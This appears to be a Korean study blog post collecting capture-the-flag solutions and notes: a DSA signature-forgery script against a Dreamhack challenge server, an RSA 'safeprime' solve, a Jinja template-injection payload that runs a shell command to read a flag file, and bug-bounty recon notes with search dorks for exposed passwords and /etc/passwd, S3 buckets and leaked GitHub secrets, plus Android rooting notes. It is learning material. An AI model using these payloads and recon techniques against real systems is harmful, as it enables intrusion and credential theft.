Textbook Dsa2

---
layout: post
title: "Textbook-DSA2"
categories: [Algorithm]
tags: [dsa, signature, security, python, cryptography]
last_modified_at: 2025-04-23
---

```python
#!/usr/bin/env python3
from Crypto.Util.number import getPrime, inverse, bytes_to_long, isPrime
from random import randrange, choices
from hashlib import sha1
import string

class DSA(object):
    def __init__(self):
        print('generating parameters...')
        while True:
            self.q = getPrime(160)
            r = randrange(1 << 863, 1 << 864)
            self.p = self.q * r + 1
            if self.p.bit_length() != 1024 or isPrime(self.p) != True:
                continue
            h = randrange(2, self.p - 1)
            self.g = pow(h, r, self.p)
            if self.g == 1:
                continue
            self.x = randrange(1, self.q)
            self.y = pow(self.g, self.x, self.p)
            self.k = randrange(1, self.q)
            break
    
    def update(self):
        self.k = randrange(1, self.q)

    def sign(self, msg):
        r = pow(self.g, self.k, self.p) % self.q
        h = bytes_to_long(msg) % self.q
        s = inverse(self.k, self.q) * (h + self.x * r) % self.q
        self.update()
        return (r, s)

    def verify(self, msg, sig):
        r, s = sig
        if s == 0:
            return False
        s_inv = inverse(s, self.q)
        h = bytes_to_long(msg) % self.q
        e1 = h * s_inv % self.q
        e2 = r * s_inv % self.q
        r_ = pow(self.g, e1, self.p) * pow(self.y, e2, self.p) % self.p % self.q
        if r_ == r:
            return True
        else:
            return False


dsa = DSA()
token = "".join(choices(string.ascii_letters + string.digits, k=32)).encode()

print("Welcome to dream's DSA server")
while True:
    print("[1] Sign")
    print("[2] Verify")
    print("[3] Get Info")

    choice = input()

    if choice == "1":
        print("Input message (hex): ", end="")
        msg = bytes.fromhex(input())
        if msg == token:
            print("Do not cheat !")
        else:
            print(dsa.sign(msg))

    elif choice == "2":
        print("Input message (hex): ", end="")
        msg = bytes.fromhex(input())
        if len(msg) > 100:
            print("Too long message")
        else:
            print("Input signagure (r, s as decimal integer): ", end="")
            sig = map(int, input().split(", "))
            if dsa.verify(msg, sig) == True:
                print("Signature verification success")
                if msg == token:
                    print(open("flag", "rb").read())
            else:
                print("Signature verification failed")

    elif choice == "3":
        print(f"p = {dsa.p}")
        print(f"q = {dsa.q}")
        print(f"g = {dsa.g}")
        print(f"y = {dsa.y}")
        print(f"token = {token}")

    else:
        print("Nope")

전자 서명 알고리즘은 DSA라고 함 플래그 획득 조건: 2번 메뉴에서/ r,s 값을 받고 / msg, sig를 verify해서 True / 그리고 msg==token이면/ flag 프린트 h값이 생성되는 방법:

from pwn import *
from Crypto.Util.number import *

io = remote("host3.dreamhack.games",20726)

io.sendline(b"3")

def recv():
    io.recvuntil(f"= ".encode())
    return eval(io.recvline())

p, q, g, y, token = [recv() for _ in range(5)]

token_int = bytes_to_long(token)
forge_token = long_to_bytes(token_int + q)

io.sendline(b"1")
io.sendlineafter(b": ", bytes.hex(forge_token).encode())
r, s = eval(io.recvline())


io.sendline(b"2")
io.sendline(bytes.hex(token).encode())
io.sendline(f"{r}, {s}".encode())

io.recvuntil(b"success\n")

flag = eval(io.recvline()).decode()
io.close()

print(flag)

버그 헌팅: 향상된 타겟 정보 수집

  1. 수동탐색 : 직접 써보기
    MTSM..

  2. 구글해킹 :
    site
    inurl
    intitle
    link
    filetype
    Wildcard(*) 해킹 * 배우는 법이라고 하면 해킹과 배우는 법 사이 모든 문자가 옴
    큰따옴표 공백 포함해서 검색하고 싶을 때

admin site:target.com 이런 식으로 검색
inurl로 알지 못했던 도메인도 발견 가능
intitle 디렉토링 리스팅 취약점
link 특정 링크를 포함한..

실제 버그헌팅 할 때) targetSystem.com을 헌팅할 때
site:.targetSystem.com ->
site:
.targetSystem.com inurl: admin
site:s3.amazonaws.com
site:*.targetSystem.com ext:txt password
inurl:/etc/passwd root:x:0:0:root:/root:/bin/bash -> LFI 취약점 검색
intitle: index of

GHDB 사이트 활용

  1. 스파이더링
    ZAP (OWASP Zed Attack Proxy)
    버프 스위트랑 비슷한 툴
    Web Spidering/Web Crawling -> 사이트에서 확인할 수 있는 모든 페이지들을 식별하는 것
    api 다 보여줌

우리 학교 사이트 넣어봄

  1. S3 bucket
    숨겨진 서버, 로그, 크리덴셜, 사용자 정보, 소스코드
    DB 구축 대신 쓰거나 백업용서버로 사용
    site: s3.amazonaws.com [Target]
    site:amazonaws.com [Target]

GrayhatWarfare이란 툴 -> 웹으로 실행 가능
Bucket Stream -> CT로 도메인 이름 찾아냄 (CT: 인증서를 감시/관리하는 시스템)

  1. github recon
    타겟 회사 이름, 프로젝트 이름, 개발자 이름(닉네임) 조사 후 검사
    Issues / Code commits 현황 조사
    Code History 및 Blame 내역 활용
    -> API key, 암호화 key, DB 비밀번호 등 찾을 수 있음
    키워드는 key, secret, password, cred 등등…

Gitrob
TruffieHog

  1. Domain Enumeration
    인증서의 SAN(subject Alternative name) 조사
    SAN: 1개의 인증서에 여러 도메인 등록
    리눅스에 amass 툴 사용으로 도메인 enumeration 가능

버그 헌팅: 어플리케이션 보안의 이해 (안드로이드)

Mobile App Hacking 

  1. 모바일 앱 공격 
  2. 모바일 앱 서버 공격 

Mobile App Attack -> 모바일 앱의 흐름을 조작해서 악용하는 것 로그인 흐름인 것을 우회하거나 유료인 것을 무료로 우회하거나

Mobile App Server Attack 모바일 앱 서버 공격 -> 앱 서버 DB 데이터 추출 Web App: web view를 이용하여 만든 앱 Hybrid App, Native App

  1. Mobile App 취약점 분석 환경 Rooting /  Jailbreak 단말기에서 root 획득하는 과정 안드로이드에서..
  2. Boot loader unlocked
  3. custom recovery
  4. custom ROM install *Bootloader: 안드로이드 OS 부팅 초기에 실행, kernel을 RAM에 로드 -> 사용자가 펌웨어를 수정할 수 없도록 Bootloader locked를 건다 -> unlocked은 보통 fastboot mode에 들어가서.. fastboot oem unlock

Recovery & Custom Recovery Recovery: android OS 유지 관리 기능 제공 (백업이나 기기 초기화 등..) Custom Recovery에서는 제한 기능을 우회하기 위한 AOSP에서 제공하는 Recovery+몇가지 추가 fastboot mode 이용하여 설치 -> 안되면 Odin

Android ROM -> Android 기기 펌웨어 Custom ROM -> setuid 권한을 가진 su binary 추가한 버전 -> custom recovery를 이용하여 설치

Jailbreak -> iOS에서 root 권한 획득 해당 버전의 취약점이 있어야 Jailbreak 가능 checkra1n, Unc0ver, Taurine, Unc0ver 등… 서치는 “Programs used to jailbreak 14.x cve” 등..

jailbreak 종류는 아래와 같음

  1. untethered jailbreak
  2. tethered jailbreak
  3. semi tethered jailbreak  

3utools 이용 만약 탈옥이 되면 Cydia나 Sileo라는 앱 사용 가능 tweak?

Proxy 세팅 단말기 app과 app 서버 사이 프록시 연결

일단 이거 관련한 실습은 노션에 자료 올려둠 같은 와이파이에 연결되어 있어야 함 https 통신을 하기 때문에 버프 인증서 설치가 필요함 일단 루팅을 해야함!!!!!!!!!!!!!! Nox 앱 플레이어로 실습해볼 수도 있음

Android App  Android Runtime으로는 세 가지가 있다 1) JVM Java에서 bytecode로… 이 bytecode를 JVM에서 실행 2) Dalvik VM bytecode 실행 전 네이티브 코드로 -> JIT 컴파일 3) ART OAT file 실행 앱 설치 시 완전 네이티브 코드로 변환 -> AOT 컴파일

DEX -> android 실행 파일 Smali -> Dalvik code를 위한 어셈블리 언어 java code를 dalvik을 위해 smali라는 어셈블리로 변환

Android App 위변조 방지 코드 서명: 개발자 본인의 코드 서명 인증서로 서명 -> 공격자의 악성 패치 앱 배포를 막기 위해

APK 구조

cpu에 따른 lib가 다름

Activity, Activity 생명 주기 activity: 사용자와 상호작용/ 화면/ 하나의 클래스

리버싱할 때 위 그림 기준으로 확인하기

Broadcast receiver

simple-ssti

{{"".__class__.__base__.__subclasses__()[109].__init__.__globals__['sys'].modules['os'].popen('cat%20flag.txt').read()}}

Image

safeprime

from Crypto.Util.number import getPrime, isPrime, bytes_to_long
from flag import FLAG

def getSafePrime(n):
    while True:
        p1 = getPrime(n)
        p1 = 122925338396977892377812264658939951801210314312238212067059595148447406166769716855936119104014353481162826500622396956338370238037713303129667973570418205129792800094492802512333202767609745542480301632710243676880179931490273979269048908687034938065216226244568368994455058377505090061149006930577060428653
        p2 = 2*p1 + 1
        if isPrime(p2):
            return p1, p2

while True:
    p1, p2 = getSafePrime(1024)
    q1 = getPrime(1024)
    q2 = getPrime(1024)
    e = 0x10001
    if (p1 - 1) * (q1 - 1) % e == 0:
        continue
    if (p2 - 1) * (q2 - 1) % e == 0:
        continue
    N1 = p1 * q1
    N2 = p2 * q2
    break

FLAG1 = bytes_to_long(FLAG[ : len(FLAG)//2])
FLAG2 = bytes_to_long(FLAG[len(FLAG)//2 : ])

# RSA encryption 1
FLAG1_enc = pow(FLAG1, e, N1)
print(f"{N1 = }")
print(f"{e = }")
print(f"{FLAG1_enc = }")

# RSA encryption 2
FLAG2_enc = pow(FLAG2, e, N2)
print(f"{N2 = }")
print(f"{e = }")
print(f"{FLAG2_enc = }")

일단 p1을 아니까 N1도 아니까 q1도 구할 수 있음
N1/p1=q1
d=pow(e,-1,(q1-1)*(p1-1))
long_to_bytes(pow(enc,d,N1))

걍 코드를 짜보겠다

from Crypto.Util.number import long_to_bytes

p1 = 122925338396977892377812264658939951801210314312238212067059595148447406166769716855936119104014353481162826500622396956338370238037713303129667973570418205129792800094492802512333202767609745542480301632710243676880179931490273979269048908687034938065216226244568368994455058377505090061149006930577060428653
N1 = 19327201401631091708078119279128692380925436148753032544895352594739110282713758787694579835391781210402243077561190953131900323053423046549084383867230010218276408621326328657011461469470863807292770977339969966619084182213730972103570599543306681902985938663544751982304914890625033249271730565010591288864800205047761519021424394075419080844544837213852439849121802683213686553168522746043462188813484812435077464939031324951004504043502401170179833768423690231004598616247184121591410659261674988936191040818361630775820141493597159203856838814572719736836706893107415465623258821901349346519326330233623214728221
FLAG1_enc = 13004466492825661714373794815483060213694105615136425500989349693819961897670052449133543120631375577093758006042616662397161828589759021109123036143679110213645273703495254751289251984825741644206592407373383229795977571891490892303010088149447806230252355167293296067357472058390377966149510304189768318019106010038464918342981779040801334805493934402083256202515878968471566745346269521478477710514882908808895056775440776187428798107877812935170817655999121652544951651932298324706467047940709230959842386229472100688721362825588490871211182464995770751546581073841668835160521366577198069608693267099763820863798
N2 = 27450043483315478797311762404726094577043502998132803099792119462966972085300899948161891817110329463991628866797190656347290669289715965306807327781311775199098217243334803546897391127316534191753025750966088057417220995637276594988237432346097632955067112307495374843098339005553306641285945162968651827001664879318348061935910034735641200929274386097426194176189548233606952782529875735520470196679662317949279351304878856061765216511421722100868900219446793017053639756452344855640565216220821535719191238236595833273152962271929229104781027974482540785947824462470111459855576434011643733382300240759662671745043
e = 65537
FLAG2_enc = 17463642564205701432307028203763062907371381377693194828300595918415046220812120475428225071119982138749111622652127381786090687125183190277170778539362877193467937714016137568118933014547356440506555629558154283687808070558309970344505816619533040961898974711852132964742029858929057461119543575535330375800427250608222111417772757317328946180150624934340736646008296127968384530576375036996310505498939822504071130031960700949736356441252292463128173777657044615516176593682581668414273678552105485641336500940770941508284916043004595128850506708764616933566005759493826241800383490202557574106404650701685720400402

flag=b""
# RSA decryption 1
q1 = N1 // p1 
oil1 = (q1 - 1) * (p1 - 1)
d1 = pow(e, -1, oil1) 
FLAG1_dec = pow(FLAG1_enc, d1, N1)
flag+=long_to_bytes(FLAG1_dec)

# RSA decryption 2
p2 = 2*p1 + 1
q2 = N2 // p2 
oil2 = (q2 - 1) * (p2 - 1)
d2 = pow(e, -1, oil2)
FLAG2_dec = pow(FLAG2_enc, d2, N2)
flag+=long_to_bytes(FLAG2_dec)

print(flag)

Image